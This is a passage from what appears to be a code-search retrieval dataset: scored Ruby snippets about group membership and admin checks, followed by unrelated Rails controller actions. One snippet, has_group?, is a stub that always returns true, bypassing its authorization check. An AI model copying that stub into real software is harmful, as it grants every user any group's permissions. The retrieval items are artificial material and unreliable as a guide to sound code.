"c8afdb83101ced7a8fa39d69d1843100", "score": "0.73312235", "text": "def member?(user)\n user.has_role?(:member, self) || owner.try('member?', user)\n end", "title": "" }, { "docid": "7aa4bdd1a01eb241f12bf35c35f170a8", "score": "0.73076713", "text": "def member\n group&.member_for(user)\n end", "title": "" }, { "docid": "037309d8a7cae3b96814a02ff36754fb", "score": "0.7239349", "text": "def is_member\n @user = User.find(params[:user_id])\n @group = Group.find(params[:group_id])\n if @user.is_member?(@group)\n render json: {result: 1}\n else\n render json: {result: 0}\n end\n end", "title": "" }, { "docid": "00a5e357ccc566255ae3de604e89a470", "score": "0.72211325", "text": "def is_member_of?(group)\n current_person.dogs.include?(group.owner) or Membership.accepted_by_person?(current_person, group)\n end", "title": "" }, { "docid": "d805ebee9d41142fc680ce1de55b74ee", "score": "0.7219715", "text": "def member?(user)\n user.member?(self)\n end", "title": "" }, { "docid": "d140a7e04255b362d0c94e2fbb593430", "score": "0.721756", "text": "def in_group?(group_or_id)\n group_ids.include?(Ecircle::User.group_id(group_or_id))\n end", "title": "" }, { "docid": "3e6a6ef638245a374653f2d0c47f7d25", "score": "0.7214048", "text": "def is_member_in(group)\n unless group.members.include? current_user\n flash[:danger] = \"Devi essere un membro per accedere ad un gruppo ed alle sue informazioni\"\n redirect_to groups_path\n end\n end", "title": "" }, { "docid": "85a861629e6aa24f2e61a3a61384df5b", "score": "0.7195493", "text": "def belongs_to?(group)\n group.all_users.include? self\n end", "title": "" }, { "docid": "85a861629e6aa24f2e61a3a61384df5b", "score": "0.7194184", "text": "def belongs_to?(group)\n group.all_users.include? self\n end", "title": "" }, { "docid": "85a861629e6aa24f2e61a3a61384df5b", "score": "0.7194184", "text": "def belongs_to?(group)\n group.all_users.include? self\n end", "title": "" }, { "docid": "ea190f23c955d208612df60ece834bb0", "score": "0.71829444", "text": "def group_member?\n kind == 'group_member'\n end", "title": "" }, { "docid": "a58f6c717cf4d266537d01f1aea10280", "score": "0.7168672", "text": "def is_member?(user)\r\n self.members.one? { |email, member| email == user.email }\r\n end", "title": "" }, { "docid": "d88dd88bba1c023e5566a95ac4985b5b", "score": "0.71500975", "text": "def has_user?(member)\n self[:users].member? member\n end", "title": "" }, { "docid": "540ea3a91b0b922bea7946c3d992b13d", "score": "0.71480983", "text": "def member_of?(group)\n if group.is_a? Group\n groups.include? group\n else\n member_of? Group.new(group)\n end\n end", "title": "" }, { "docid": "845d0bec88f4ac8a6772765a8ee37289", "score": "0.7147284", "text": "def is_group_admin_for_user? user\n !primary_network.restrict_access && UserGroup.where(:group_id => user.groups.collect(&:id), :user_id => self.id, :administrator => true).size > 0\n end", "title": "" }, { "docid": "de026b591be12718b646b0e6d2c062ce", "score": "0.70862466", "text": "def creator_in_group?\n return unless errors.blank?\n if !group.users.include?(user)\n errors.add(:user, user.username + \" isn't in the group\")\n end\n end", "title": "" }, { "docid": "353bc212f4ba17f805cfb90cd15a9c7a", "score": "0.7081481", "text": "def has_user_group?(ug)\n sym = Lockdown.get_symbol(ug)\n\n return true if sym == Lockdown.administrator_group_symbol\n user_group_exists?(sym)\n end", "title": "" }, { "docid": "52dfe2fb1bcba0e94a504891889d07cf", "score": "0.7074583", "text": "def isCurrentUserAdmin(id)\n\t@user = User.find(id)\n return @user.group == 1\n end", "title": "" }, { "docid": "02236fd967538a678ff3bc49a4bf53b9", "score": "0.7068984", "text": "def has_groupmember?(member)\n group = @group_class.new :name => member, :node => self.node\n return false unless group.exists?\n self[:groupmembers].member? group.generateduid.first\n end", "title": "" }, { "docid": "f20c0a24c11cca145e5677fcd9628a00", "score": "0.70663494", "text": "def is_in_group?(_user_id)\n Rails.cache.fetch \"UserGroup:is_in_group_#{id}_#{_user_id}\" do\n user_relationships.where(user_id: _user_id).any?\n end\n end", "title": "" }, { "docid": "1d3aacfe31df90fea85984e395343558", "score": "0.70400244", "text": "def has_member?(user)\n members.exists?(user)\n end", "title": "" }, { "docid": "40f614d4720ab7c6068ba8731d3da4f4", "score": "0.6959281", "text": "def is_member?(user_dn, group_names)\n return true if group_names.nil?\n return true if group_names.empty?\n\n user_membership = membership(user_dn, group_names)\n\n !user_membership.empty?\n end", "title": "" }, { "docid": "95685e0a128a056c11c171552003a47f", "score": "0.69150996", "text": "def can_be_created_by?(user)\n \n not (user.usergroups & usergroups).empty?\n\n end", "title": "" }, { "docid": "dd76477f877469c428933fa861167026", "score": "0.68848926", "text": "def user_in_admin_group?\r\n cmd_exec(\"groups `whoami`\").split(/\\s+/).include?(SUDOER_GROUP)\r\n end", "title": "" }, { "docid": "cd9cf0fa270e7a7eb70f1c79fe7f6afc", "score": "0.6879715", "text": "def member_of?(group)\n cn_groups.include?(group)\n end", "title": "" }, { "docid": "36ffa1902166ff9c1d3dd8c84460c71f", "score": "0.68705714", "text": "def user_has_user_group?(usr, sym)\n user_groups = usr.send(Lockdown.user_groups_hbtm_reference)\n user_groups.any? do |ug|\n Lockdown.convert_reference_name(ug.name) == sym\n end\n end", "title": "" }, { "docid": "9ddac936628b378f7930bd4dc8d23ee3", "score": "0.6840698", "text": "def member?(user)\n user_ids.include?(user.id)\n end", "title": "" }, { "docid": "59ffbdbfc1c8271517999b2236459bc8", "score": "0.6821043", "text": "def group_admin? group\n g = group.groups_userss.detect{|i| i.user_id == session[:id]}\n g.is_admin unless g.nil?\n end", "title": "" }, { "docid": "6435331665845476be26ee308268aa90", "score": "0.6787182", "text": "def current_user_in_my_group?\n result = false\n bypass_auth do\n #bypass authentication allows us to looka at the accessor and group, or something\n if !ActiveRecord::Base.accessor.nil? && ActiveRecord::Base.accessor.in_group?( group )\n result=true\n else\n result = false\n end\n end\n return result || false\n end", "title": "" }, { "docid": "bb194c1e0037dddf751bd8d81d2b2786", "score": "0.6783081", "text": "def has_member?(user)\n users.include?(user)\n end", "title": "" }, { "docid": "29946932edc23e5e08840b465a10226c", "score": "0.6781395", "text": "def member_of_shared_to? \r\n shared_to = self.shared_to_type.constantize.find(self.shared_to_id)\r\n User.find(self.user_id).groups.include?(shared_to) ? true : false\r\n end", "title": "" }, { "docid": "236c6d2839c25bb9838d1dbaaffa4673", "score": "0.67729497", "text": "def is_or_belongs_to?(arg)\n if arg.is_a?(User)\n self == arg\n elsif arg.is_a?(Group)\n arg.users.include?(self)\n else\n false\n end\n end", "title": "" }, { "docid": "30ac15f5f81f6e8a802352d25a4226ca", "score": "0.6748228", "text": "def admin_of?(group)\n memberships.exists?(group_id: group.id, admin: true)\n end", "title": "" }, { "docid": "4133ee047dd2e8920dae2fbae94eb68a", "score": "0.6700054", "text": "def invite_to_group(user_group, user)\n if user_group.is_member?(self) and not user_group.is_member?(user)\n membership = Membership.create_with_notification!(:user => user,\n :user_group => user_group,\n :admin => false,\n :invited_by => self,\n :invited_at => Time.now)\n return true unless membership.blank?\n end\n return false\n end", "title": "" }, { "docid": "940cf2b3c860d9f72c03de4c38191f24", "score": "0.66775256", "text": "def current_user_in_my_group?\n result = false\n bypass_auth do\n #bypass authentication allows us to looka at the accessor and group, or something\n if !ActiveRecord::Base.accessor.nil? && ActiveRecord::Base.accessor.in_group?( self )\n result=true\n else\n result = false\n end\n end\n return result || false\n end", "title": "" }, { "docid": "7f890fa292105b7270f866a27c8bc91d", "score": "0.6663492", "text": "def has_member? user_or_person\n user_or_person = user_or_person.try(:person) if user_or_person.is_a?(User)\n self.people.include? user_or_person\n end", "title": "" }, { "docid": "c0e662b68ef8415fce3a9a2e6fbc09a9", "score": "0.6657381", "text": "def member_of?(context)\n context.users.include? self\n end", "title": "" }, { "docid": "246905a8274cc6ab7febc97e7384df33", "score": "0.6642012", "text": "def show\n @group_members = Membership.where(group_id: @group.id).all\n @members_count = @group_members.count \n @is_member = @group_members.exists?(user_id: current_user.id)\n @is_admin = @group_members.exists?(user_id: current_user.id, admin: true)\n end", "title": "" }, { "docid": "ca23cc1e637686c0df6a497233ab0141", "score": "0.6641737", "text": "def isGroupCreator(group_id,user_id)\n GroupUser.where(:group_id => group_id, :user_id => user_id, :isCreator => true).exists?\n end", "title": "" }, { "docid": "f551081eec03a36b38ebf345555cb631", "score": "0.6641732", "text": "def permitted?(table, user)\n if user.is_a?(User)\n group_user_ids(table).include?(user.id)\n elsif !user\n group_ids(table).include?(UserGroup.all_users.id)\n elsif user.try(:to_i)&.nonzero?\n group_user_ids(table).include?(user.to_i)\n else\n raise(ArgumentError.new(\"Was expecting User instance, id or nil.\"))\n end\n end", "title": "" }, { "docid": "ffcc27300d4c8d3cdd54c06f959914a3", "score": "0.6626748", "text": "def logged_in_and_member?\n User.logged_in_and_member?\n end", "title": "" }, { "docid": "ffcc27300d4c8d3cdd54c06f959914a3", "score": "0.6626748", "text": "def logged_in_and_member?\n User.logged_in_and_member?\n end", "title": "" }, { "docid": "ff4e016f4d36a0ef36403ed5d1c8545c", "score": "0.6621662", "text": "def group_admin?\n return false unless group\n\n group.admin?(user)\n end", "title": "" }, { "docid": "d67eea3ffb97bc87083c84ae8ab9edd2", "score": "0.6615387", "text": "def is_user_moderator?(user)\n if user\n if id==user.id\n return true\n end\n end\n return false\n end", "title": "" }, { "docid": "304df0179a945570855e50ccf0f8a9b5", "score": "0.66023666", "text": "def is_a_member?(user_id)\n return true if user_id && self.user_id == user_id\n return user_id && Note_User.first(:user_id => user_id, :note_id => self.id )\n end", "title": "" }, { "docid": "ca2efc841649c78ed98aff4d5e2d19ea", "score": "0.65910524", "text": "def member?\n client.organization_member? org_id, user.login\n end", "title": "" }, { "docid": "17216689bcee2be1e9a0497f6de1bc9e", "score": "0.658822", "text": "def members?\n user.hoa == hoa\n end", "title": "" }, { "docid": "31d09143b4a373a4515b89db62be030f", "score": "0.6585448", "text": "def thread_member?(user)\n user == self.user || (messagable_type == \"User\" && messagable_id == user.id) || self.replies.map(&:user).include?(user)\n end", "title": "" }, { "docid": "9e51cb2517f6b2a84dec9bb1f815348b", "score": "0.65781903", "text": "def is_member?\n determine_user_role\n end", "title": "" }, { "docid": "af91f1eb89c11b591871cf90e7c303c4", "score": "0.6560444", "text": "def group_owner_entry?\n group_entry? && principle == \"GROUP\"\n end", "title": "" }, { "docid": "1f80b25f4fe320d17242c18ca1c8e1f7", "score": "0.65569055", "text": "def is_owned_by_user?(user)\n self.user == user\n end", "title": "" }, { "docid": "a1a6b7fa183f7f012ea18e0eeecb53a8", "score": "0.6523135", "text": "def has_group_permission?(permission)\n return false unless group\n return true if is_admin?\n member? && member.has_permission?(permission)\n end", "title": "" }, { "docid": "4ea0bea32d77ef184c0f52f94025fd1b", "score": "0.6519362", "text": "def admin?(user = nil)\n membership = Membership.find_by group_id: id, user_id: user.id,\n role: 'admin'\n return false if membership.nil?\n membership.user_id == user.id\n end", "title": "" }, { "docid": "c05bb42cd445fe537f95d569b717bc6f", "score": "0.6512282", "text": "def user_group_exists?(user_group_symbol)\n return true if user_group_symbol == Lockdown.administrator_group_symbol\n get_user_groups.include?(user_group_symbol)\n end", "title": "" }, { "docid": "5df055e0da33a4a6a85558ab6658ba30", "score": "0.6512173", "text": "def accept_member_to(user_group, user)\n if user_group.is_admin? self\n membership = Membership.find_by_user_group_id_and_user_id(user_group.id, user.id)\n unless membership.blank?\n membership.accepted_at = Time.now\n membership.accepted_by = self\n membership.save!\n return true\n end\n end\n false\n end", "title": "" }, { "docid": "6b503ccd07c589fcefddfb358a5871a3", "score": "0.6511478", "text": "def is_owned_by?(member = nil)\n return false if member.blank?\n if self.designer == member or self.client == member\n true\n else\n member.is_super_user? ? true : false\n end\n rescue\n false\n end", "title": "" }, { "docid": "0030926cd1157e9fa70463441236e954", "score": "0.65090674", "text": "def group?\n members.count > 2 or self[:name].present?\n end", "title": "" }, { "docid": "3c941a8ec766a093b0e02a0cb169d852", "score": "0.6506569", "text": "def member?(*args)\n params = arguments(args, required: [:org_name, :user]).params\n org_name = arguments.org_name\n user = arguments.user\n\n response = if params.delete('public')\n get_request(\"/orgs/#{org_name}/public_members/#{user}\", params)\n else\n get_request(\"/orgs/#{org_name}/members/#{user}\", params)\n end\n response.status == 204\n rescue Github::Error::NotFound\n false\n end", "title": "" }, { "docid": "34cee9ea03b23a11792ba8b4c696b083", "score": "0.64930767", "text": "def has_group?(group)\n\t\tFsLdap.groups_of_loginname(self.loginname).include?(group)\n\tend", "title": "" }, { "docid": "6808422a32a7b603dc0810c2dd64c83d", "score": "0.6493054", "text": "def member?\n client.organization_member? org_id, github_user.login\n end", "title": "" }, { "docid": "9198d57ecef39ba846ef34fc16fb2805", "score": "0.6490012", "text": "def remove_member(user)\n if (self.members.include?(user))\n self.memberships.find_by_user_id(user.id).destroy\n else\n raise GroupsManagement::UserIsNotMember, \"The user \" + user.email + \" is not a member of the group '\" + self.name + \"'.\"\n end\n \n end", "title": "" }, { "docid": "add61eee59412771ced751d158a3376f", "score": "0.6489846", "text": "def superuser?\n member_of_group?(\"Superusers\")\n end", "title": "" }, { "docid": "3940ee3ced2715d22b4eba238e20b283", "score": "0.64832765", "text": "def creates_user_group?(user)\n !(platform_family?('suse', 'mac_os_x') || user[:no_user_group])\n end", "title": "" }, { "docid": "956e4bb1966e3f0ceb6d85345e59476f", "score": "0.6478106", "text": "def admin?\n Group.find('admin').members.member?(self)\n end", "title": "" }, { "docid": "44d94631d99127140d27f36f36d5ea1c", "score": "0.6471133", "text": "def has_group?(group)\n\t\t# TODO: remove return true\n\t\treturn true\n\t\t# return FsLdap::groups_of_loginname(self.loginname).include? group\n\tend", "title": "" }, { "docid": "d3d8110ec6922b387a3aebd5db01bab8", "score": "0.6469934", "text": "def is_waiting_user?\n if users_unit.group.waiting_users.include? user\n errors.add(:user_id, \"User is already a member\")\n end\n end", "title": "" }, { "docid": "798d18fbd72dad3e0da28d1ab7011f8b", "score": "0.64594823", "text": "def in_group?(group)\n @groups.include? group\n end", "title": "" }, { "docid": "162e3b87c15e8de3465d94766c5f11f4", "score": "0.6426074", "text": "def owner_of(group)\n current_user.is_owner?(group)\n end", "title": "" }, { "docid": "2cc89cbbf631b054b13be9c203dc7c70", "score": "0.6420714", "text": "def owned_by?(u)\n self.user == u\n end", "title": "" }, { "docid": "e71332792cefc6fb6f142d344370c7cb", "score": "0.6418398", "text": "def user?(user)\n user.id == self.user_id if user\n end", "title": "" }, { "docid": "a47900becb2676eb3d15fd04b8d2357c", "score": "0.64179885", "text": "def has_user_permission?(object)\n object and object.user and current_user and object.user == current_user\n end", "title": "" }, { "docid": "7f18e84ed28dc7578c054e924aae5970", "score": "0.64178365", "text": "def members\n set_group \n @members = User.joins(:groups).where(\"group_id = ? and acceptance_status = ?\", params[:id], true) if GroupsController.group_member? current_user.id, params[:id]\n end", "title": "" }, { "docid": "db360684c16f4b0e1868d207f453d3df", "score": "0.64170134", "text": "def admin_user?\n member_type == MEMBER_TYPE[:admin]\n end", "title": "" }, { "docid": "0ba67688497370234d0625ad38f64646", "score": "0.64047706", "text": "def has_member?(user_or_person)\n user_or_person = user_or_person.try(:person)\n current_people.include? user_or_person\n end", "title": "" }, { "docid": "0ba67688497370234d0625ad38f64646", "score": "0.64047706", "text": "def has_member?(user_or_person)\n user_or_person = user_or_person.try(:person)\n current_people.include? user_or_person\n end", "title": "" }, { "docid": "30c404781299446ae9f4c410c575ba57", "score": "0.6398161", "text": "def moderator?\n groups.exists? id: Group::GATHER_MODERATORS\n end", "title": "" }, { "docid": "053144aa6ecc9a1f240957a813d9f754", "score": "0.6388015", "text": "def has_member?(user)\n roles.exists?(user_id: user)\n end", "title": "" }, { "docid": "a6665a771e2b8ff056880d99f9014175", "score": "0.6357035", "text": "def user_permission(instance,current_user)\n\t\tcase instance\n\t\twhen User #IF THAT THING IS A USER, ONLY A USER OR AN ADMIN CAN CHANGE\n\t\t\ttrue if self.admin || instance == current_user\n\t\telse\n\t\t\t#IF THAT THING IS SOMETHING BESIDES A USER, ONLY AN ADMIN OR THE USER THAT THE THING BELONGS TO CAN CHANGE IT\n\t\t\ttrue if self.admin || instance.user == current_user\n\t\tend\n\tend", "title": "" }, { "docid": "7bb661223589759e66ed7b7cb1f3a872", "score": "0.63506657", "text": "def group_munge?(group, resource)\n # Check if the group is the primary group for the user\n user = resource.catalog.resources.select{|r| r.type == :user && r.name == resource[:name]}.first\n user = self.class.users.select{|u| u.name == resource[:name]}.first if user.nil?\n \n if !user.nil?\n gid = user[:gid]\n if gid.is_a?(String)\n primary = gid\n return true if primary == group\n elsif gid.is_a?(Integer)\n primary = resource.catalog.resources.select{|r| r.type == :group && r[:gid] == gid}.first\n primary = self.class.groups.select{|g| g.gid == gid}.first if primary.nil?\n return true if !primary.nil? && primary.name == group\n end\n end\n \n # Check if the group exists on the system\n if resource.catalog.resource(:group, group) != nil && resource.catalog.resource(:group, group)[:ensure] == :present\n return false\n else\n # Check if the group exists on the system\n return !group_valid?(group, resource)\n end\n end", "title": "" }, { "docid": "3694f9b0e3ed45233c976cbe377a5fd6", "score": "0.6341269", "text": "def uid_exists?(uid, groups=[])\n uid = Integer(uid)\n user_exists = Etc.getpwuid(uid).uid == uid\n if groups.empty?\n user_belongs = true\n else\n mem = Set.new\n username = Etc.getpwuid(uid).name\n Etc.group { |g| mem << g.name if g.mem.include?(username) }\n user_belongs = groups.all? { |g| mem.include?(g) }\n end\n\n user_exists && user_belongs\n rescue ArgumentError\n false\n end", "title": "" }, { "docid": "9342ca7a6c79e1b410f2cd77f18add71", "score": "0.6307222", "text": "def user_in_group?(login, repo, settings, group_identifier)\n trusted = false\n repo_setting_key = \"#{repo}_#{settings['name']}_#{group_identifier}\"\n if $permissions[login]\n if $permissions[login][repo_setting_key]\n trusted = $permissions[login][repo_setting_key] ? true : false\n end\n else\n $permissions[login] = {}\n end\n if $permissions[login][repo_setting_key].nil?\n settings[group_identifier][repo].each do |team|\n res = get \"#{GITHUB_API_BASE_URL}/teams/#{team}/members/#{login}\"\n trusted = res.success?\n break if trusted\n end\n $permissions[login][repo_setting_key] = trusted\n end\n trusted\n end", "title": "" }, { "docid": "05e98cbe02515f37a618d8fe1092da78", "score": "0.63047266", "text": "def belongs_to?(user)\n return false unless user.instance_of? User\n return self.owner == user\n end", "title": "" }, { "docid": "f94e067a97301cbc220bb892bda12ceb", "score": "0.63010955", "text": "def is_admin_of?(group, cookie)\n return false unless group.is_member?(self, cookie)\n PersonConnection.get_group_admin_status(id, group.id, cookie)[\"entry\"][\"admin_role\"]\n end", "title": "" }, { "docid": "e36841aa33f9c3fe3b78d5197122770e", "score": "0.62976533", "text": "def belongs_to_group? who, group, ownership = false\n who = get_group(who)\n group = get_group(group)\n who.belongs_to[ownership ? :owner : :normal].include?(group)\n end", "title": "" }, { "docid": "981908e08176ee88446d17561156fe40", "score": "0.62864864", "text": "def group_owner\n User.find_by(id: self.user_id)\n end", "title": "" }, { "docid": "99d61d598fc252cb3deaad84ed75bd61", "score": "0.6286227", "text": "def has_member?(user_or_person)\n user_or_person = user_or_person.try(:person)\n people.include? user_or_person\n end", "title": "" }, { "docid": "190de4b0b043ab9f3ecf4c614f4b5dfb", "score": "0.62824726", "text": "def member?(resource)\n # NOTE: most likely very inefficient\n self.group_memberships.first(:o_resource => resource) != nil\n end", "title": "" }, { "docid": "9885733144f196d1fdfe875717bdae9a", "score": "0.62782145", "text": "def owned_by? a_user\n a_user == program.moderator\n end", "title": "" }, { "docid": "e503a1efe7fd78fc8c9c1bc20f266656", "score": "0.6268734", "text": "def group_owner?\n super\n end", "title": "" }, { "docid": "e503a1efe7fd78fc8c9c1bc20f266656", "score": "0.6268734", "text": "def group_owner?\n super\n end", "title": "" } ]
190f425e55543514ac8e8e91f6dc5f0a
GET /envoices/1 GET /envoices/1.json
[ { "docid": "a81945373733e4951b987de6ea99f9a1", "score": "0.0", "text": "def show\n end", "title": "" } ]
[ { "docid": "9921564f544eb5afe828c9cd4c1f8498", "score": "0.6998163", "text": "def show\n @environnement = Environnement.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @environnement }\n end\n end", "title": "" }, { "docid": "8fca5dfd8a4fa0b6fd436c968f88e592", "score": "0.6591532", "text": "def index\n @envies = Envie.all\n end", "title": "" }, { "docid": "e0c3c0060132be605641acbcfd90e48e", "score": "0.6534363", "text": "def index\n @envios = Envio.all\n end", "title": "" }, { "docid": "7a1d469234c7b42ab06cdb0b56986dae", "score": "0.6428441", "text": "def index\n @nvs_envs = NvsEnv.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @nvs_envs }\n end\n end", "title": "" }, { "docid": "4c1eb027ec6e10e24e1a11f2048fe5c9", "score": "0.63290083", "text": "def index\n \n \n \n @env_nr4s = EnvNr4.all\n \n \n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @env_nr4s }\n end\n end", "title": "" }, { "docid": "0a1cba2ae963f1eb86fe11cc9cf44408", "score": "0.6240366", "text": "def get_enterprise\n empresa = Enterprise.find(params[:idEmpresa].to_i)\n\n respond_to do |format|\n format.json {render json: empresa}\n end \n \n end", "title": "" }, { "docid": "a9e98c22c9f867d92f068e1e91f3716a", "score": "0.61973614", "text": "def index\n get_base_data()\n @versions = Version.all\n @h_env = {}\n @versions.each do |v|\n @h_env[v.id] = Basic.safe_parse_json(v.env_json, {})\n end\n if params[:nolayout]\n render :layout => false\n else\n render\n end\n end", "title": "" }, { "docid": "c019514688050937d9bd66c9eae292a7", "score": "0.61341935", "text": "def index\n @clientes = Cliente.where(:status_id => Status.find_by_descricao('Ativo'))\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @clientes }\n end\n end", "title": "" }, { "docid": "45a7a266f3869c96b99ef3f310a49352", "score": "0.61091363", "text": "def show\n @environment = Environment.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @environment }\n end\n end", "title": "" }, { "docid": "45a7a266f3869c96b99ef3f310a49352", "score": "0.61091363", "text": "def show\n @environment = Environment.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @environment }\n end\n end", "title": "" }, { "docid": "1e62e3d8cc860d54f506616a54c275f0", "score": "0.60341907", "text": "def new\n @environnement = Environnement.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @environnement }\n end\n end", "title": "" }, { "docid": "8a73f2bb750c690f247e588b12b417c8", "score": "0.598946", "text": "def index\n @api_v1_establishments = Establishment.all\n render json: @api_v1_establishments\n end", "title": "" }, { "docid": "5eb41b24d190ad1b702d3fd249a27e0e", "score": "0.5967436", "text": "def index\n @envs = Env.all\n end", "title": "" }, { "docid": "e80b94b364410834eb9ae0e0bdd8bdf7", "score": "0.5963488", "text": "def index\n @envoices = Envoice.all\n end", "title": "" }, { "docid": "d5edc486aa63a64e4cf79ccd28512f11", "score": "0.5956795", "text": "def index\n @api_v1_enterprises = Api::V1::Enterprise.all\n end", "title": "" }, { "docid": "0a7fa374a26b67edfa1bf624bd2dc15e", "score": "0.5932356", "text": "def index\n @existences = Existence.all\n\n render json: @existences\n end", "title": "" }, { "docid": "13ac7e94665f15cfeee658c5158edf10", "score": "0.59223413", "text": "def show\n @environments = Environment.active\n @erequest = Erequest.find(params[:id])\n @environment = @erequest.environment\n respond_with(@erequest )\n end", "title": "" }, { "docid": "6b90793e4a546fae05ff41f37c0992a7", "score": "0.59010136", "text": "def index\n @ice_ores = IceOre.all\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @ice_ores }\n end\n end", "title": "" }, { "docid": "7828499b659774071e431998b094d573", "score": "0.58810604", "text": "def show\n @conversazione = Conversazione.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @conversazione }\n end\n end", "title": "" }, { "docid": "3656158a031f8dd6db202f37f14297d2", "score": "0.5866678", "text": "def show\n @inventario = Inventario.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @inventario }\n end\n end", "title": "" }, { "docid": "250c8d925d39015776e9c74f98a8380b", "score": "0.58535326", "text": "def show\n @economia1 = Economia1.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @economia1 }\n end\n end", "title": "" }, { "docid": "bf07281b71eab140832bb71e0d7ef92b", "score": "0.5853183", "text": "def show\n @vigencia_ofertum = VigenciaOferta.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @vigencia_ofertum }\n end\n end", "title": "" }, { "docid": "a213135f274ce6ebaeab0f98c93aa87a", "score": "0.58447576", "text": "def show\n @convenio = Convenio.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @convenio }\n end\n end", "title": "" }, { "docid": "d111c24ceace896ce0799765b5a4849d", "score": "0.5840951", "text": "def index\n @vik_envs = VikEnv.all\n end", "title": "" }, { "docid": "82210bc65900f5b5e898d4280f13653b", "score": "0.58406174", "text": "def show\n @enterprise = Enterprise.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @enterprise }\n end\n end", "title": "" }, { "docid": "d144515f40616fcd4071bc6074af11d5", "score": "0.58316654", "text": "def index\n @clientes = Cliente.all\n render json: @clientes\n end", "title": "" }, { "docid": "3ed276846dca85986057c320d5a701a4", "score": "0.58202", "text": "def index \n spices = Spice.all\n render json: spices\nend", "title": "" }, { "docid": "344ea8984a9000ed7beca5909b8bf5bc", "score": "0.5812825", "text": "def show\n @request_vocational = RequestVocational.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @request_vocational }\n end\n end", "title": "" }, { "docid": "cb7880378ead0475784ecb21cbcf3dbe", "score": "0.5810267", "text": "def show\n @nova = Nova.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @nova }\n end\n end", "title": "" }, { "docid": "d47d2a653083ce27d487f4fafedc2044", "score": "0.58091456", "text": "def show\n @ejercicio1 = Ejercicio1.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @ejercicio1 }\n end\n end", "title": "" }, { "docid": "f12890dbcb9fa52cb7780f8501ea9cc0", "score": "0.5796097", "text": "def show\n @site_environment = SiteEnvironment.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @site_environment }\n end\n end", "title": "" }, { "docid": "f7cc500f20576965acd32ddbc66efb62", "score": "0.5791981", "text": "def index\n @prom_envs = PromEnv.all\n end", "title": "" }, { "docid": "229e90929026a813fe6f7a130e3f67cf", "score": "0.5789325", "text": "def index\n @convos = Convo.all\n render json: @convos\n end", "title": "" }, { "docid": "8cef53fa5ed38129f6660766e61fd414", "score": "0.57780415", "text": "def show\n @estetica = Estetica.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @estetica }\n end\n end", "title": "" }, { "docid": "daa905e0ae7ca3dc0ef75ea4d88edaf1", "score": "0.57757425", "text": "def show\n @solvencia = Solvencia.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @solvencia }\n end\n end", "title": "" }, { "docid": "08b803275d387f43329f101e9b3823b4", "score": "0.57676846", "text": "def show\n @efectividad = Efectividad.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @efectividad }\n end\n end", "title": "" }, { "docid": "6db92445cd25a00572e7fb44fffff146", "score": "0.57659626", "text": "def index\n @estado_civils = EstadoCivil.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @estado_civils }\n end\n end", "title": "" }, { "docid": "3a98fdb2e5775b24abd9b76b8f1e6eef", "score": "0.5759764", "text": "def show\n @estudiante = Estudiante.find(params[:id])\n\n render json: @estudiante\n end", "title": "" }, { "docid": "8ff6acd9e6fbc925a4181854e8330d31", "score": "0.57542443", "text": "def index\n @establishes = Establish.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @establishes }\n end\n end", "title": "" }, { "docid": "9dbf5fb2a97b4f327febb0800f2385d4", "score": "0.57448083", "text": "def show\n @convo = Convo.find_by(id: params[:id])\n render json: @convo\n end", "title": "" }, { "docid": "31482a99bd856c7f6f0b8ac6e0588bed", "score": "0.57394457", "text": "def index\n @provis = Provi.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @provis }\n end\n end", "title": "" }, { "docid": "e1b7dd57facc9bf36d7acd4288d656a4", "score": "0.5735119", "text": "def show\n @envspecific = Envspecific.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @envspecific }\n end\n end", "title": "" }, { "docid": "84b9c670445fa61d99bd892b674959b5", "score": "0.5735005", "text": "def get\n response = ApiPago.get_factura(params[:id_factura])\n render json: response\n end", "title": "" }, { "docid": "9d8f0b296a6ce4300699955c368b74a8", "score": "0.57333493", "text": "def show\n @oferta_voluntariado = OfertaVoluntariado.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @oferta_voluntariado }\n end\n end", "title": "" }, { "docid": "150efd0734f25f8db3d50bdf717b63ed", "score": "0.5731959", "text": "def show\n @vocero = Vocero.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @vocero }\n end\n end", "title": "" }, { "docid": "ccdec0d6cc37f446842f31debab81e93", "score": "0.57301706", "text": "def show\n render json: @api_v1_client\n end", "title": "" }, { "docid": "6baa24774dd4a166a3d6b9c49c063612", "score": "0.5717696", "text": "def show\n @v1_employee = V1::Employee.find(params[:id])\n\n render json: @v1_employee\n end", "title": "" }, { "docid": "0c07626b903771017232928feaa70fc6", "score": "0.57148707", "text": "def show\n @site = Site.find(params[:site_id])\n @environment = @site.environments.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @environment }\n end\n end", "title": "" }, { "docid": "634cb68ee50669babc2afa26518f206b", "score": "0.5714436", "text": "def show\n @estado_civil = 